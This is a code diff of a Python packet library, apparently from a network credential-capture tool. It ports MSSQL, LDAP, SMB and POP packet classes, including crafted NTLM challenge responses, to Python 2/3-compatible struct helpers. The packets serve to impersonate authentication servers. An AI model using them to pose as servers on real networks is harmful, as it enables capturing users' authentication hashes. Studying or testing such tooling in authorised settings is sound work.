str(self.fields["PacketType"])+str(self.fields["Status"])+str(self.fields["Len"])+str(self.fields["SPID"])+str(self.fields["PacketID"])+str(self.fields["Window"])+str(self.fields["TokenType"])+str(self.fields["SSPIBuffLen"])+str(self.fields["Signature"])+str(self.fields["SignatureNull"])+str(self.fields["MessageType"])+str(self.fields["TargetNameLen"])+str(self.fields["TargetNameMaxLen"])+str(self.fields["TargetNameOffset"])+str(self.fields["NegoFlags"])+str(self.fields["ServerChallenge"])+str(self.fields["Reserved"])+str(self.fields["TargetInfoLen"])+str(self.fields["TargetInfoMaxLen"])+str(self.fields["TargetInfoOffset"])+str(self.fields["NTLMOsVersion"])+str(self.fields["TargetNameStr"])+str(self.fields["Av1"])+str(self.fields["Av1Len"])+str(self.fields["Av1Str"])+str(self.fields["Av2"])+str(self.fields["Av2Len"])+str(self.fields["Av2Str"])+str(self.fields["Av3"])+str(self.fields["Av3Len"])+str(self.fields["Av3Str"])+str(self.fields["Av4"])+str(self.fields["Av4Len"])+str(self.fields["Av4Str"])+str(self.fields["Av5"])+str(self.fields["Av5Len"])+str(self.fields["Av5Str"])+str(self.fields["Av6"])+str(self.fields["Av6Len"])
@ -489,22 +499,22 @@ class MSSQLNTLMChallengeAnswer(Packet):
CalculateAvPairsOffset = CalculateNameOffset+str(self.fields["TargetNameStr"]) CalculateAvPairsOffset = CalculateNameOffset+str(self.fields["TargetNameStr"])
CalculateAvPairsLen = str(self.fields["Av1"])+str(self.fields["Av1Len"])+str(self.fields["Av1Str"])+str(self.fields["Av2"])+str(self.fields["Av2Len"])+str(self.fields["Av2Str"])+str(self.fields["Av3"])+str(self.fields["Av3Len"])+str(self.fields["Av3Str"])+str(self.fields["Av4"])+str(self.fields["Av4Len"])+str(self.fields["Av4Str"])+str(self.fields["Av5"])+str(self.fields["Av5Len"])+str(self.fields["Av5Str"])+str(self.fields["Av6"])+str(self.fields["Av6Len"]) CalculateAvPairsLen = str(self.fields["Av1"])+str(self.fields["Av1Len"])+str(self.fields["Av1Str"])+str(self.fields["Av2"])+str(self.fields["Av2Len"])+str(self.fields["Av2Str"])+str(self.fields["Av3"])+str(self.fields["Av3Len"])+str(self.fields["Av3Str"])+str(self.fields["Av4"])+str(self.fields["Av4Len"])+str(self.fields["Av4Str"])+str(self.fields["Av5"])+str(self.fields["Av5Len"])+str(self.fields["Av5Str"])+str(self.fields["Av6"])+str(self.fields["Av6Len"])
self.fields["Len"] = struct.pack(">h",len(CalculateCompletePacket)) self.fields["Len"] = StructWithLenPython2or3(">h",len(CalculateCompletePacket))
self.fields["SSPIBuffLen"] = struct.pack("<i",len(CalculateSSPI))[:2] self.fields["SSPIBuffLen"] = StructWithLenPython2or3("<i",len(CalculateSSPI))[:2]
# Target Name Offsets # Target Name Offsets
self.fields["TargetNameOffset"] = struct.pack("<i", len(CalculateNameOffset)) self.fields["TargetNameOffset"] = StructWithLenPython2or3("<i", len(CalculateNameOffset))
self.fields["TargetNameLen"] = struct.pack("<i", len(self.fields["TargetNameStr"]))[:2] self.fields["TargetNameLen"] = StructWithLenPython2or3("<i", len(self.fields["TargetNameStr"]))[:2]
self.fields["TargetNameMaxLen"] = struct.pack("<i", len(self.fields["TargetNameStr"]))[:2] self.fields["TargetNameMaxLen"] = StructWithLenPython2or3("<i", len(self.fields["TargetNameStr"]))[:2]
# AvPairs Offsets # AvPairs Offsets
self.fields["TargetInfoOffset"] = struct.pack("<i", len(CalculateAvPairsOffset)) self.fields["TargetInfoOffset"] = StructWithLenPython2or3("<i", len(CalculateAvPairsOffset))
self.fields["TargetInfoLen"] = struct.pack("<i", len(CalculateAvPairsLen))[:2] self.fields["TargetInfoLen"] = StructWithLenPython2or3("<i", len(CalculateAvPairsLen))[:2]
self.fields["TargetInfoMaxLen"] = struct.pack("<i", len(CalculateAvPairsLen))[:2] self.fields["TargetInfoMaxLen"] = StructWithLenPython2or3("<i", len(CalculateAvPairsLen))[:2]
# AvPairs StrLen # AvPairs StrLen
self.fields["Av1Len"] = struct.pack("<i", len(str(self.fields["Av1Str"])))[:2] self.fields["Av1Len"] = StructWithLenPython2or3("<i", len(str(self.fields["Av1Str"])))[:2]
self.fields["Av2Len"] = struct.pack("<i", len(str(self.fields["Av2Str"])))[:2] self.fields["Av2Len"] = StructWithLenPython2or3("<i", len(str(self.fields["Av2Str"])))[:2]
self.fields["Av3Len"] = struct.pack("<i", len(str(self.fields["Av3Str"])))[:2] self.fields["Av3Len"] = StructWithLenPython2or3("<i", len(str(self.fields["Av3Str"])))[:2]
self.fields["Av4Len"] = struct.pack("<i", len(str(self.fields["Av4Str"])))[:2] self.fields["Av4Len"] = StructWithLenPython2or3("<i", len(str(self.fields["Av4Str"])))[:2]
self.fields["Av5Len"] = struct.pack("<i", len(str(self.fields["Av5Str"])))[:2] self.fields["Av5Len"] = StructWithLenPython2or3("<i", len(str(self.fields["Av5Str"])))[:2]
##### SMTP Packets ##### ##### SMTP Packets #####
class SMTPGreeting(Packet): class SMTPGreeting(Packet):
@ -571,6 +581,11 @@ class POPOKPacket(Packet):
("CRLF", "\r\n"), ("CRLF", "\r\n"),
]) ])
class POPNotOKPacket(Packet):
fields = OrderedDict([
("Code", "-ERR"),
("CRLF", "\r\n"),
])
##### LDAP Packets ##### ##### LDAP Packets #####
class LDAPSearchDefaultPacket(Packet): class LDAPSearchDefaultPacket(Packet):
fields = OrderedDict([ fields = OrderedDict([
@ -733,11 +748,11 @@ class LDAPNTLMChallenge(Packet):
###### Convert strings to Unicode first ###### Convert strings to Unicode first
self.fields["NTLMSSPNtWorkstationName"] = self.fields["NTLMSSPNtWorkstationName"].encode('utf-16le') self.fields["NTLMSSPNtWorkstationName"] = self.fields["NTLMSSPNtWorkstationName"].encode('utf-16le')
self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"].encode('utf-16le') self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"].encode('utf-16le').decode('latin-1')
self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"].encode('utf-16le') self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"].encode('utf-16le').decode('latin-1')
self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"].encode('utf-16le') self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"].encode('utf-16le').decode('latin-1')
self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"].encode('utf-16le') self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"].encode('utf-16le').decode('latin-1')
self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"].encode('utf-16le') self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"].encode('utf-16le').decode('latin-1')
###### Workstation Offset ###### Workstation Offset
CalculateOffsetWorkstation = str(self.fields["NTLMSSPSignature"])+str(self.fields["NTLMSSPSignatureNull"])+str(self.fields["NTLMSSPMessageType"])+str(self.fields["NTLMSSPNtWorkstationLen"])+str(self.fields["NTLMSSPNtWorkstationMaxLen"])+str(self.fields["NTLMSSPNtWorkstationBuffOffset"])+str(self.fields["NTLMSSPNtNegotiateFlags"])+str(self.fields["NTLMSSPNtServerChallenge"])+str(self.fields["NTLMSSPNtReserved"])+str(self.fields["NTLMSSPNtTargetInfoLen"])+str(self.fields["NTLMSSPNtTargetInfoMaxLen"])+str(self.fields["NTLMSSPNtTargetInfoBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"]) CalculateOffsetWorkstation = str(self.fields["NTLMSSPSignature"])+str(self.fields["NTLMSSPSignatureNull"])+str(self.fields["NTLMSSPMessageType"])+str(self.fields["NTLMSSPNtWorkstationLen"])+str(self.fields["NTLMSSPNtWorkstationMaxLen"])+str(self.fields["NTLMSSPNtWorkstationBuffOffset"])+str(self.fields["NTLMSSPNtNegotiateFlags"])+str(self.fields["NTLMSSPNtServerChallenge"])+str(self.fields["NTLMSSPNtReserved"])+str(self.fields["NTLMSSPNtTargetInfoLen"])+str(self.fields["NTLMSSPNtTargetInfoMaxLen"])+str(self.fields["NTLMSSPNtTargetInfoBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])
@ -749,23 +764,23 @@ class LDAPNTLMChallenge(Packet):
NTLMMessageLen = CalculateOffsetWorkstation+str(self.fields["NTLMSSPNtWorkstationName"])+CalculateLenAvpairs NTLMMessageLen = CalculateOffsetWorkstation+str(self.fields["NTLMSSPNtWorkstationName"])+CalculateLenAvpairs
##### LDAP Len Calculation: ##### LDAP Len Calculation:
self.fields["ParserHeadASNLen"] = struct.pack(">i", len(CalculatePacketLen)) self.fields["ParserHeadASNLen"] = StructWithLenPython2or3(">i", len(CalculatePacketLen))
self.fields["OpHeadASNIDLen"] = struct.pack(">i", len(OperationPacketLen)) self.fields["OpHeadASNIDLen"] = StructWithLenPython2or3(">i", len(OperationPacketLen))
self.fields["SequenceHeaderLen"] = struct.pack(">B", len(NTLMMessageLen)) self.fields["SequenceHeaderLen"] = StructWithLenPython2or3(">B", len(NTLMMessageLen))
##### Workstation Offset Calculation: ##### Workstation Offset Calculation:
self.fields["NTLMSSPNtWorkstationBuffOffset"] = struct.pack("<i", len(CalculateOffsetWorkstation)) self.fields["NTLMSSPNtWorkstationBuffOffset"] = StructWithLenPython2or3("<i", len(CalculateOffsetWorkstation))
self.fields["NTLMSSPNtWorkstationLen"] = struct.pack("<h", len(str(self.fields["NTLMSSPNtWorkstationName"]))) self.fields["NTLMSSPNtWorkstationLen"] = StructWithLenPython2or3("<h", len(str(self.fields["NTLMSSPNtWorkstationName"])))
self.fields["NTLMSSPNtWorkstationMaxLen"] = struct.pack("<h", len(str(self.fields["NTLMSSPNtWorkstationName"]))) self.fields["NTLMSSPNtWorkstationMaxLen"] = StructWithLenPython2or3("<h", len(str(self.fields["NTLMSSPNtWorkstationName"])))
##### IvPairs Offset Calculation: ##### IvPairs Offset Calculation:
self.fields["NTLMSSPNtTargetInfoBuffOffset"] = struct.pack("<i", len(CalculateOffsetWorkstation+str(self.fields["NTLMSSPNtWorkstationName"]))) self.fields["NTLMSSPNtTargetInfoBuffOffset"] = StructWithLenPython2or3("<i", len(CalculateOffsetWorkstation+str(self.fields["NTLMSSPNtWorkstationName"])))
self.fields["NTLMSSPNtTargetInfoLen"] = struct.pack("<h", len(CalculateLenAvpairs)) self.fields["NTLMSSPNtTargetInfoLen"] = StructWithLenPython2or3("<h", len(CalculateLenAvpairs))
self.fields["NTLMSSPNtTargetInfoMaxLen"] = struct.pack("<h", len(CalculateLenAvpairs)) self.fields["NTLMSSPNtTargetInfoMaxLen"] = StructWithLenPython2or3("<h", len(CalculateLenAvpairs))
##### IvPair Calculation: ##### IvPair Calculation:
self.fields["NTLMSSPNTLMChallengeAVPairs5Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"]))) self.fields["NTLMSSPNTLMChallengeAVPairs5Len"] = StructWithLenPython2or3("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"])))
self.fields["NTLMSSPNTLMChallengeAVPairs3Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"]))) self.fields["NTLMSSPNTLMChallengeAVPairs3Len"] = StructWithLenPython2or3("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"])))
self.fields["NTLMSSPNTLMChallengeAVPairs2Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"]))) self.fields["NTLMSSPNTLMChallengeAVPairs2Len"] = StructWithLenPython2or3("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"])))
self.fields["NTLMSSPNTLMChallengeAVPairs1Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"]))) self.fields["NTLMSSPNTLMChallengeAVPairs1Len"] = StructWithLenPython2or3("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"])))
self.fields["NTLMSSPNTLMChallengeAVPairsLen"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"]))) self.fields["NTLMSSPNTLMChallengeAVPairsLen"] = StructWithLenPython2or3("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"])))
##### SMB Packets ##### ##### SMB Packets #####
class SMBHeader(Packet): class SMBHeader(Packet):
@ -792,7 +807,7 @@ class SMBNego(Packet):
]) ])
def calculate(self): def calculate(self):
self.fields["bcc"] = struct.pack("<h",len(str(self.fields["data"]))) self.fields["bcc"] = StructPython2or3("<h",self.fields["data"])
class SMBNegoData(Packet): class SMBNegoData(Packet):
fields = OrderedDict([ fields = OrderedDict([
@ -807,7 +822,7 @@ class SMBNegoData(Packet):
def calculate(self): def calculate(self):
CalculateBCC = str(self.fields["separator1"])+str(self.fields["dialect1"]) CalculateBCC = str(self.fields["separator1"])+str(self.fields["dialect1"])
CalculateBCC += str(self.fields["separator2"])+str(self.fields["dialect2"]) CalculateBCC += str(self.fields["separator2"])+str(self.fields["dialect2"])
self.fields["bcc"] = struct.pack("<h", len(CalculateBCC)) self.fields["bcc"] = StructWithLenPython2or3("<h", len(CalculateBCC))
class SMBSessionData(Packet): class SMBSessionData(Packet):
fields = OrderedDict([ fields = OrderedDict([
@ -835,8 +850,8 @@ class SMBSessionData(Packet):
]) ])
def calculate(self): def calculate(self):
CompleteBCC = str(self.fields["AccountPassword"])+str(self.fields["AccountName"])+str(self.fields["AccountNameTerminator"])+str(self.fields["PrimaryDomain"])+str(self.fields["PrimaryDomainTerminator"])+str(self.fields["NativeOs"])+str(self.fields["NativeOsTerminator"])+str(self.fields["NativeLanman"])+str(self.fields["NativeLanmanTerminator"]) CompleteBCC = str(self.fields["AccountPassword"])+str(self.fields["AccountName"])+str(self.fields["AccountNameTerminator"])+str(self.fields["PrimaryDomain"])+str(self.fields["PrimaryDomainTerminator"])+str(self.fields["NativeOs"])+str(self.fields["NativeOsTerminator"])+str(self.fields["NativeLanman"])+str(self.fields["NativeLanmanTerminator"])
self.fields["bcc"] = struct.pack("<h", len(CompleteBCC)) self.fields["bcc"] = StructWithLenPython2or3("<h", len(CompleteBCC))
self.fields["PasswordLen"] = struct.pack("<h", len(str(self.fields["AccountPassword"]))) self.fields["PasswordLen"] = StructWithLenPython2or3("<h", len(str(self.fields["AccountPassword"])))
class SMBNegoFingerData(Packet): class SMBNegoFingerData(Packet):
fields = OrderedDict([ fields = OrderedDict([
@ -872,7 +887,7 @@ class SMBSessionFingerData(Packet):
]) ])
def calculate(self): def calculate(self):
self.fields["bcc1"] = struct.pack("<i", len(str(self.fields["Data"])))[:2] self.fields["bcc1"] = StructPython2or3('<h',self.fields["Data"])
class SMBTreeConnectData(Packet): class SMBTreeConnectData(Packet):
fields = OrderedDict([ fields = OrderedDict([
@ -891,9 +906,9 @@ class SMBTreeConnectData(Packet):
]) ])
def calculate(self): def calculate(self):
self.fields["PasswdLen"] = struct.pack("<h", len(str(self.fields["Passwd"])))[:2] self.fields["PasswdLen"] = StructWithLenPython2or3("<h", len(str(self.fields["Passwd"])))[:2]
BccComplete = str(self.fields["Passwd"])+str(self.fields["Path"])+str(self.fields["PathTerminator"])+str(self.fields["Service"])+str(self.fields["Terminator"]) BccComplete = str(self.fields["Passwd"])+str(self.fields["Path"])+str(self.fields["PathTerminator"])+str(self.fields["Service"])+str(self.fields["Terminator"])
self.fields["Bcc"] = struct.pack("<h", len(BccComplete)) self.fields["Bcc"] = StructWithLenPython2or3("<h", len(BccComplete))
class RAPNetServerEnum3Data(Packet): class RAPNetServerEnum3Data(Packet):
fields = OrderedDict([ fields = OrderedDict([
@ -943,16 +958,16 @@ class SMBTransRAPData(Packet):
else: else:
self.fields["PipeTerminator"] = "\x00\x00\x00" self.fields["PipeTerminator"] = "\x00\x00\x00"
##Convert Path to Unicode first before any Len calc. ##Convert Path to Unicode first before any Len calc.
self.fields["PipeName"] = self.fields["PipeName"].encode('utf-16le') self.fields["PipeName"] = self.fields["PipeName"].encode('utf-16le').decode('latin-1')
##Data Len ##Data Len
self.fields["TotalParamCount"] = struct.pack("<i", len(str(self.fields["Data"])))[:2] self.fields["TotalParamCount"] = StructWithLenPython2or3("<i", len(str(self.fields["Data"])))[:2]
self.fields["ParamCount"] = struct.pack("<i", len(str(self.fields["Data"])))[:2] self.fields["ParamCount"] = StructWithLenPython2or3("<i", len(str(self.fields["Data"])))[:2]
##Packet len ##Packet len
FindRAPOffset = str(self.fields["Wordcount"])+str(self.fields["TotalParamCount"])+str(self.fields["TotalDataCount"])+str(self.fields["MaxParamCount"])+str(self.fields["MaxDataCount"])+str(self.fields["MaxSetupCount"])+str(self.fields["Reserved"])+str(self.fields["Flags"])+str(self.fields["Timeout"])+str(self.fields["Reserved1"])+str(self.fields["ParamCount"])+str(self.fields["ParamOffset"])+str(self.fields["DataCount"])+str(self.fields["DataOffset"])+str(self.fields["SetupCount"])+str(self.fields["Reserved2"])+str(self.fields["Bcc"])+str(self.fields["Terminator"])+str(self.fields["PipeName"])+str(self.fields["PipeTerminator"]) FindRAPOffset = str(self.fields["Wordcount"])+str(self.fields["TotalParamCount"])+str(self.fields["TotalDataCount"])+str(self.fields["MaxParamCount"])+str(self.fields["MaxDataCount"])+str(self.fields["MaxSetupCount"])+str(self.fields["Reserved"])+str(self.fields["Flags"])+str(self.fields["Timeout"])+str(self.fields["Reserved1"])+str(self.fields["ParamCount"])+str(self.fields["ParamOffset"])+str(self.fields["DataCount"])+str(self.fields["DataOffset"])+str(self.fields["SetupCount"])+str(self.fields["Reserved2"])+str(self.fields["Bcc"])+str(self.fields["Terminator"])+str(self.fields["PipeName"])+str(self.fields["PipeTerminator"])
self.fields["ParamOffset"] = struct.pack("<i", len(FindRAPOffset)+32)[:2] self.fields["ParamOffset"] = StructWithLenPython2or3("<i", len(FindRAPOffset)+32)[:2]
##Bcc Buff Len ##Bcc Buff Len
BccComplete = str(self.fields["Terminator"])+str(self.fields["PipeName"])+str(self.fields["PipeTerminator"])+str(self.fields["Data"]) BccComplete = str(self.fields["Terminator"])+str(self.fields["PipeName"])+str(self.fields["PipeTerminator"])+str(self.fields["Data"])
self.fields["Bcc"] = struct.pack("<i", len(BccComplete))[:2] self.fields["Bcc"] = StructWithLenPython2or3("<i", len(BccComplete))[:2]
class SMBNegoAnsLM(Packet): class SMBNegoAnsLM(Packet):
fields = OrderedDict([ fields = OrderedDict([
@ -980,8 +995,8 @@ class SMBNegoAnsLM(Packet):
self.fields["Domain"] = self.fields["Domain"].encode('utf-16le') self.fields["Domain"] = self.fields["Domain"].encode('utf-16le')
self.fields["Server"] = self.fields["Server"].encode('utf-16le') self.fields["Server"] = self.fields["Server"].encode('utf-16le')
CompleteBCCLen = str(self.fields["Key"])+str(self.fields["Domain"])+str(self.fields["DomainNull"])+str(self.fields["Server"])+str(self.fields["ServerNull"]) CompleteBCCLen = str(self.fields["Key"])+str(self.fields["Domain"])+str(self.fields["DomainNull"])+str(self.fields["Server"])+str(self.fields["ServerNull"])
self.fields["Bcc"] = struct.pack("<h",len(CompleteBCCLen)) self.fields["Bcc"] = StructWithLenPython2or3("<h",len(CompleteBCCLen))
self.fields["Keylength"] = struct.pack("<h",len(self.fields["Key"]))[0] self.fields["Keylength"] = StructWithLenPython2or3("<h",len(self.fields["Key"]))[0]
class SMBNegoAns(Packet): class SMBNegoAns(Packet):
fields = OrderedDict([ fields = OrderedDict([
@ -1033,18 +1048,18 @@ class SMBNegoAns(Packet):
MechTypeLen = str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"]) MechTypeLen = str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])
Tag3Len = str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"]) Tag3Len = str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"])
self.fields["Bcc"] = struct.pack("<h",len(CompleteBCCLen1)) self.fields["Bcc"] = StructWithLenPython2or3("<h",len(CompleteBCCLen1))
self.fields["InitContextTokenASNLen"] = struct.pack("<B", len(AsnLenStart)) self.fields["InitContextTokenASNLen"] = StructWithLenPython2or3("<B", len(AsnLenStart))
self.fields["ThisMechASNLen"] = struct.pack("<B", len(str(self.fields["ThisMechASNStr"]))) self.fields["ThisMechASNLen"] = StructWithLenPython2or3("<B", len(str(self.fields["ThisMechASNStr"])))
self.fields["SpNegoTokenASNLen"] = struct.pack("<B", len(AsnLen2)) self.fields["SpNegoTokenASNLen"] = StructWithLenPython2or3("<B", len(AsnLen2))
self.fields["NegTokenASNLen"] = struct.pack("<B", len(AsnLen2)-2) self.fields["NegTokenASNLen"] = StructWithLenPython2or3("<B", len(AsnLen2)-2)
self.fields["NegTokenTag0ASNLen"] = struct.pack("<B", len(MechTypeLen)) self.fields["NegTokenTag0ASNLen"] = StructWithLenPython2or3("<B", len(MechTypeLen))
self.fields["NegThisMechASNLen"] = struct.pack("<B", len(MechTypeLen)-2) self.fields["NegThisMechASNLen"] = StructWithLenPython2or3("<B", len(MechTypeLen)-2)
self.fields["NegThisMech4ASNLen"] = struct.pack("<B", len(str(self.fields["NegThisMech4ASNStr"]))) self.fields["NegThisMech4ASNLen"] = StructWithLenPython2or3("<B", len(str(self.fields["NegThisMech4ASNStr"])))
self.fields["NegTokenTag3ASNLen"] = struct.pack("<B", len(Tag3Len)) self.fields["NegTokenTag3ASNLen"] = StructWithLenPython2or3("<B", len(Tag3Len))
self.fields["NegHintASNLen"] = struct.pack("<B", len(Tag3Len)-2) self.fields["NegHintASNLen"] = StructWithLenPython2or3("<B", len(Tag3Len)-2)
self.fields["NegHintTag0ASNLen"] = struct.pack("<B", len(Tag3Len)-4) self.fields["NegHintTag0ASNLen"] = StructWithLenPython2or3("<B", len(Tag3Len)-4)
self.fields["NegHintFinalASNLen"] = struct.pack("<B", len(str(self.fields["NegHintFinalASNStr"]))) self.fields["NegHintFinalASNLen"] = StructWithLenPython2or3("<B", len(str(self.fields["NegHintFinalASNStr"])))
class SMBNegoKerbAns(Packet): class SMBNegoKerbAns(Packet):
fields = OrderedDict([ fields = OrderedDict([
@ -1105,20 +1120,20 @@ class SMBNegoKerbAns(Packet):
MechTypeLen = str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech1ASNId"])+str(self.fields["NegThisMech1ASNLen"])+str(self.fields["NegThisMech1ASNStr"])+str(self.fields["NegThisMech2ASNId"])+str(self.fields["NegThisMech2ASNLen"])+str(self.fields["NegThisMech2ASNStr"])+str(self.fields["NegThisMech3ASNId"])+str(self.fields["NegThisMech3ASNLen"])+str(self.fields["NegThisMech3ASNStr"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"]) MechTypeLen = str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech1ASNId"])+str(self.fields["NegThisMech1ASNLen"])+str(self.fields["NegThisMech1ASNStr"])+str(self.fields["NegThisMech2ASNId"])+str(self.fields["NegThisMech2ASNLen"])+str(self.fields["NegThisMech2ASNStr"])+str(self.fields["NegThisMech3ASNId"])+str(self.fields["NegThisMech3ASNLen"])+str(self.fields["NegThisMech3ASNStr"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])
Tag3Len = str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"]) Tag3Len = str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"])
self.fields["Bcc"] = struct.pack("<h",len(CompleteBCCLen1)) self.fields["Bcc"] = StructWithLenPython2or3("<h",len(CompleteBCCLen1))
self.fields["InitContextTokenASNLen"] = struct.pack("<B", len(AsnLenStart)) self.fields["InitContextTokenASNLen"] = StructWithLenPython2or3("<B", len(AsnLenStart))
self.fields["ThisMechASNLen"] = struct.pack("<B", len(str(self.fields["ThisMechASNStr"]))) self.fields["ThisMechASNLen"] = StructWithLenPython2or3("<B", len(str(self.fields["ThisMechASNStr"])))
self.fields["SpNegoTokenASNLen"] = struct.pack("<B", len(AsnLen2)) self.fields["SpNegoTokenASNLen"] = StructWithLenPython2or3("<B", len(AsnLen2))
self.fields["NegTokenASNLen"] = struct.pack("<B", len(AsnLen2)-2) self.fields["NegTokenASNLen"] = StructWithLenPython2or3("<B", len(AsnLen2)-2)
self.fields["NegTokenTag0ASNLen"] = struct.pack("<B", len(MechTypeLen)) self.fields["NegTokenTag0ASNLen"] = StructWithLenPython2or3("<B", len(MechTypeLen))
self.fields["NegThisMechASNLen"] = struct.pack("<B", len(MechTypeLen)-2) self.fields["NegThisMechASNLen"] = StructWithLenPython2or3("<B", len(MechTypeLen)-2)
self.fields["NegThisMech1ASNLen"] = struct.pack("<B", len(str(self.fields["NegThisMech1ASNStr"]))) self.fields["NegThisMech1ASNLen"] = StructWithLenPython2or3("<B", len(str(self.fields["NegThisMech1ASNStr"])))
self.fields["NegThisMech2ASNLen"] = struct.pack("<B", len(str(self.fields["NegThisMech2ASNStr"]))) self.fields["NegThisMech2ASNLen"] = StructWithLenPython2or3("<B", len(str(self.fields["NegThisMech2ASNStr"])))
self.fields["NegThisMech3ASNLen"] = struct.pack("<B", len(str(self.fields["NegThisMech3ASNStr"]))) self.fields["NegThisMech3ASNLen"] = StructWithLenPython2or3("<B", len(str(self.fields["NegThisMech3ASNStr"])))
self.fields["NegThisMech4ASNLen"] = struct.pack("<B", len(str(self.fields["NegThisMech4ASNStr"]))) self.fields["NegThisMech4ASNLen"] = StructWithLenPython2or3("<B", len(str(self.fields["NegThisMech4ASNStr"])))
self.fields["NegTokenTag3ASNLen"] = struct.pack("<B", len(Tag3Len)) self.fields["NegTokenTag3ASNLen"] = StructWithLenPython2or3("<B", len(Tag3Len))
self.fields["NegHintASNLen"] = struct.pack("<B", len(Tag3Len)-2) self.fields["NegHintASNLen"] = StructWithLenPython2or3("<B", len(Tag3Len)-2)
self.fields["NegHintFinalASNLen"] = struct.pack("<B", len(str(self.fields["NegHintFinalASNStr"]))) self.fields["NegHintFinalASNLen"] = StructWithLenPython2or3("<B", len(str(self.fields["NegHintFinalASNStr"])))
class SMBSession1Data(Packet): class SMBSession1Data(Packet):
fields = OrderedDict([ fields = OrderedDict([
@ -1197,13 +1212,13 @@ class SMBSession1Data(Packet):
def calculate(self): def calculate(self):
###### Convert strings to Unicode ###### Convert strings to Unicode
self.fields["NTLMSSPNtWorkstationName"] = self.fields["NTLMSSPNtWorkstationName"].encode('utf-16le') self.fields["NTLMSSPNtWorkstationName"] = self.fields["NTLMSSPNtWorkstationName"].encode('utf-16le')
self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"].encode('utf-16le') self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"].encode('utf-16le').decode('latin-1')
